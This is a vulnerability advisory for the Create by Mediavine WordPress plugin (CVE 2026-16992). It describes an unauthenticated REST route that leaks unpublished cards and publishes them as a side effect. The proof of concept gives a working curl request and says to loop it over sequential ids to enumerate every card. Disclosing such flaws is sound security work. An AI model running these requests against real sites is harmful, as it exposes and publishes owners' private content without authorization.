Create by Mediavine < 2.5.4 – Unauthenticated Unpublished Content Disclosure and Publication | CVE 2026-16992

Description

The plugin does not perform an authorization check before returning content over one of its REST API routes, and that route additionally publishes the requested content as a side effect, allowing unauthenticated attackers to read unpublished content and to make it publicly available.

Proof of Concept

Prerequisites: the plugin is active and at least one Create Card exists that has never been published. Cards use small sequential integer ids. No account, cookie or nonce is required at any point.

1. Read any card, including never-published ones. Replace {id} with a card id:

curl -s "https://victim.example/wp-json/mv-create/v1/creations/{id}"

=> HTTP 200 with the full card row (title, description, instructions, notes and the rest) even when the card has never been published. The links block additionally discloses the ids and titles of adjacent cards. Iterate {id} = 1..N to enumerate every card.

2. That same single request also changes the card's stored state from unpublished to published, so the content becomes publicly available.

Control, proving the publication is caused by step 1 rather than by the card's own state: a second never-published card that has not been requested stays unpublished, and the gated sibling routes below continue to refuse it.

Controls, proving the missing check is specific to this route rather than the namespace being open:

curl -s -X POST "https://victim.example/wp-json/mv-create/v1/creations"
curl -s -X DELETE "https://victim.example/wp-json/mv-create/v1/creations/{id}"
curl -s "https://victim.example/wp-json/mv-create/v1/creations"

=> all three return HTTP 401.